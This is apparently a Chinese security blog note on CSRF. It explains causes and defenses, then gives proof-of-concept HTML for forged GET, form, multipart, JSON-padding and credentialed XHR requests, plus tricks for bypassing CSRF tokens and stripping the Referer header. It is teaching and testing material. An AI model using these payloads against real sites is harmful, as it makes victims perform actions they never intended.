CSRF漏洞整理汇总
漏洞描述
跨站请求伪造(Cross-Site Request Forgery,CSRF)是一种使已登录用户在不知情的情况下执行某种动作的攻击。因为攻击者看不到伪造请求的响应结果,所以CSRF攻击主要用来执行动作,而非窃取用户数据。当受害者是一个普通用户时,CSRF可以实现在其不知情的情况下转移用户资金、发送邮件等操作;但是如果受害者是一个具有管理员权限的用户时CSRF则可能威胁到整个Web系统的安全。
漏洞成因
错把“经过认证的浏览器发起的请求”当成“经过认证的用户发起的请求”,当已认证的用户点击攻击者构造的恶意链接后就“被”执行了相应的操作。
CSRF漏洞的要点
- 目标请求为敏感的增删改操作
- 未校验Referer/Origin等头
- 所有的请求参数可预知
- Web应用身份验证机制是基于Cookie形式的
漏洞防护
- 自定义请求头加Token
- 校验来源(Origin或Referer)
- 使用验证码
POC类型整理
针对不同类型的数据提交的方式,在构造CSRF poc时会有对应的不同。下面将对不同的数据提交的方式,整理对应的poc
1.GET型CSRF
对于GET型的CSRF漏洞,我们可以使用任意的支持src属性的标签构造poc,如<img>
等。
1
| <img src=https://www.a.com/delete?id=123>
|
2. 普通的表单提交
这应该是最常见的 POST 提交数据的方式了。浏览器的原生<form>
表单,如果不设置 enctype
属性,那么最终就会以 application/x-www-form-urlencoded 方式提交数据。请求类似于下面这样(无关的请求头在本文中都省略掉了)
1 2 3 4
| POST http://www.example.com HTTP/1.1 Content-Type: application/x-www-form-urlencoded;charset=utf-8
title=test&sub%5B%5D=1&sub%5B%5D=2&sub%5B%5D=3
|
首先,Content-Type 被指定为 application/x-www-form-urlencoded;
其次,提交的数据按照 key1=val1&key2=val2 的方式进行编码,key 和 val 都进行了 URL 转码
很多时候,我们用 Ajax 提交数据时,也是使用这种方式。例如 JQuery 和 QWrap 的 Ajax,Content-Type 默认值都是「application/x-www-form-urlencoded;charset=utf-8」。
那么,对应的poc为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <html>
<body> <form id="csrf" action="https://example/api" method="POST"> <input type="hidden" name="name" value="3454" /> <input type="hidden" name="password" value="123" /> </form> </body> <script type="text/javascript"> function autoSubmit() { document.getElementById("csrf").submit(); } autoSubmit() </script> </html>
|
这又是一个常见的 POST 数据提交的方式。我们使用表单上传文件时,必须让 <form>
表单的 enctype
等于 multipart/form-data。直接来看一个请求示例:
1 2 3 4 5 6 7 8 9 10 11 12 13
| POST http://www.example.com HTTP/1.1 Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryrGKCBY7qhFd3TrwA
------WebKitFormBoundaryrGKCBY7qhFd3TrwA Content-Disposition: form-data; name="text"
title ------WebKitFormBoundaryrGKCBY7qhFd3TrwA Content-Disposition: form-data; name="file"; filename="chrome.png" Content-Type: image/png
PNG ... content of chrome.png ... ------WebKitFormBoundaryrGKCBY7qhFd3TrwA--
|
首先生成了一个 boundary 用于分割不同的字段,为了避免与正文内容重复,boundary 很长很复杂。
然后 Content-Type 里指明了数据是以 multipart/form-data 来编码,本次请求的 boundary 是什么内容。
消息主体里按照字段个数又分为多个结构类似的部分,每部分都是以 --boundary
开始,紧接着是内容描述信息,然后是回车,最后是字段具体内容(文本或二进制)。如果传输的是文件,还要包含文件名和文件类型信息。消息主体最后以 --boundary--
标示结束。
Part 头信息中必须包含一个 Content-Disposition
头,其他的头信息则为可选项, 比如 Content-Type
等。
Content-Disposition
包含了 type 和 一个名字为 name 的 parameter,type 是 form-data,name 参数的值则为表单控件(也即 field)的名字,如果是文件,那么还有一个 filename 参数,值就是文件名。
对于可选的 Content-Type(如果没有的话),默认就是 text/plain
。
对应的csrf poc为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <html>
<body> <form id="csrf" action="https://a.com/getAddress" method="POST" enctype="multipart/form-data"> <input type="hidden" name="id" value="123" /> </form> </body> <script type="text/javascript"> function autoSubmit() { document.getElementById("csrf").submit(); } autoSubmit() </script> </html>
|
3. JSON数据
对于提交数据是JSON数据的,有以下几种利用方式。具体测试时可以都试试
1
| Content-Type: application/json
|
1 2 3 4 5 6 7 8 9 10
| <html>
<body> <form action="http://www.xxx.com/webnet/edit" method="POST" enctype="text/plain"> <input type="hidden" name="{"pSpotId":"120201","pSignTimes":"70","pModuleID":"207","pSceneid":"120201007000046"}" value="" /> <input type="submit" value="Submit request" /> </form> </body>
</html>
|
不过这样POST的数据包会多一个“=”,因为我们虽然把value置为空,然后还是会出现“name=”。
这种情况下服务端的JSON解析器可能会拒绝这段JSON,因为它不符合JSON的数据格式。参照外国基佬的做法,我们可以给value赋值从而对这个“=”后面的数据进行补全,使得其构成一个完整的JSON格式,可避免解析器报错(JSON Padding)。
补全等号
1 2 3 4 5 6 7
| <html> <form action="http://www.xxx.com/webnet/edit" method="POST" enctype="text/plain"> <input name='{"pSpotId":"120201","pSignTimes":"70","pModuleID":"207","pSceneid":"120201007000046", "test":"' value='test"}' type='hidden'> <input type=submit> </form>
</html>
|
需要注意的是,在原始的数据包里Content-Type的值是application/json,而以form去提交是没法设置enctype为application/json的。如果服务端验证了Content-Type。则也可能失败
2.3 XHR进行提交
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <!DOCTYPE html> <html>
<body> <center> <h2>CORS POC Exploit</h2> <h3>Extract SID</h3>
<div id="demo"> <button type="button" onclick="submitRequest()">Exploit</button> </div>
<script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "https://a.com/review", true); xhr.setRequestHeader("Accept", "application/json, text/plain, */*"); xhr.setRequestHeader("Content-Type", "application/json; charset=UTF-8"); xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.9"); xhr.withCredentials = true; xhr.send(JSON.stringify({
"country": "VEN", "identity_type": "passport", "first_name": "dfa", "last_name": "dfaf", "identity_no": "121212"
}));
xhr.send(); } </script> </body>
</html>
|
这种利用方式,需要满足XHR的要求
CSRF绕过
1. 绕过csrf token
如果一个敏感操作的参数里面,有一个csrf token,我们可以做如下尝试绕过
- 将该参数置空
- 设置为一个固定值
- 删除该参数
2. 如何把Referer头置空
- 从https页面发送http请求时,referer头为空
- 通过iframe标签加载的请求时,没有Referer头
1
| <iframe src=http://www.a.com/delete.php?id=1>
|
- 点设置content为no-referer时(17年新出的功能,本意防止用户隐私泄露),没有referer头。
1 2 3
| <html> <meta name="referrer" content="no-referrer" />
|